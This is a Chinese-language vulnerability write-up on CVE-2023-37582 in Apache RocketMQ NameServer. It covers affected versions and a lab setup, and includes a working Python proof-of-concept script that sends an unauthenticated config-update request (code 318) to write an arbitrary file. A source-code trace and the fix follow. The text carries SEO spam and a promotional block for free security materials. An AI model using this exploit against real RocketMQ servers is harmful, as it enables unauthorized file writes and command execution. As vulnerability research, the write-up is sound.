海外网站域名,网站建设专员招聘,c++制作网页,无锡高端网站建设公司哪家好
漏洞简介
Apache RocketMQ是一款低延迟、高并发、高可用、高可靠的分布式消息中间件。CVE-2023-37582 中#xff0c;由于对 CVE-2023-33246 修复不完善#xff0c;导致在Apache RocketMQ NameServer 存在未授权访问的情况下#xff0c;攻击者可构造恶意请求以RocketMQ运…
漏洞简介
Apache RocketMQ是一款低延迟、高并发、高可用、高可靠的分布式消息中间件。CVE-2023-37582 中由于对 CVE-2023-33246 修复不完善导致在Apache RocketMQ NameServer 存在未授权访问的情况下攻击者可构造恶意请求以RocketMQ运行的系统用户身份执行命令。
影响版本
Apache RocketMQ 5.1.1 Apache RocketMQ 4.9.6
环境搭建
参考 Apache RocketMQ 远程代码执行漏洞 CVE-2023-33246 的环境搭建
还是为了方便进行调试我们再 linux 下搭建 RocketMQ 的相关服务利用源码启动
一共需要运行两个服务
org.apache.rocketmq.namesrv.NamesrvStartup
org.apache.rocketmq.broker.BrokerStartup先启动 NamesrvStartup再启动 BrokerStartup 同时都需要配置环境变量 ROCKETMQ_HOME ROCKETMQ_HOME/home/ubuntu/Desktop/rocketmq-rocketmq-all-5.1.0
漏洞复现
运行 python 脚本
import socket
import binascii
client socket.socket()# you ip
client.connect((192.168.222.130,9876))# data
json {code:318,flag:0,language:JAVA,opaque:266,serializeTypeCurrentRPC:JSON,version:433}.encode(utf-8)
bodyconfigStorePath/tmp/test.txt\nproductEnvName123\\ntest.encode(utf-8)
json_lens int(len(binascii.hexlify(json).decode(utf-8))/2) # 一个字节是2个十六进制数
head1 00000000str(hex(json_lens))[2:] # hex(xxxx) 0x1243434 去掉 0x
all_lens int(4len(binascii.hexlify(body).decode(utf-8))/2json_lens)
head2 00000000str(hex(all_lens))[2:]
data head2[-8:]head1[-8:]binascii.hexlify(json).decode(utf-8)binascii.hexlify(body).decode(utf-8)# send
client.send(bytes.fromhex(data))
data_recv client.recv(1024)
print(data_recv)
成功在 tmp 目录下的 test.txt 文件中写入指定字符串 test
帮助网安学习全套资料S信免费领取 ① 网安学习成长路径思维导图 ② 60网安经典常用工具包 ③ 100SRC分析报告 ④ 150网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集含答案 ⑧ APP客户端安全检测指南安卓IOS
漏洞分析
org/apache/rocketmq/remoting/protocol/RequestCode.java code 代表调用不同的功能此时调用的是318 更新配置的操作
src/main/java/org/apache/rocketmq/remoting/protocol/RequestCode.java 根据对应的 code 会调用 对应的函数进行处理
src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java
src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java#updateConfig
src/main/java/org/apache/rocketmq/remoting/Configuration.java#update
首先判断是不是属于可控的属性
src/main/java/org/apache/rocketmq/remoting/Configuration.java#persist
src/main/java/org/apache/rocketmq/remoting/Configuration.java#getStorePath 调用 getStorePath 获取文件路径此时获取的值是 configStorePath 的值
src/main/java/org/apache/rocketmq/common/MixAll.java#string2File
src/main/java/org/apache/rocketmq/common/MixAll.java#string2FileNotSafe
src/main/java/org/apache/rocketmq/common/utils/IOTinyUtils.java#writeStringToFile
漏洞修复
修改禁用修改配置路径的参数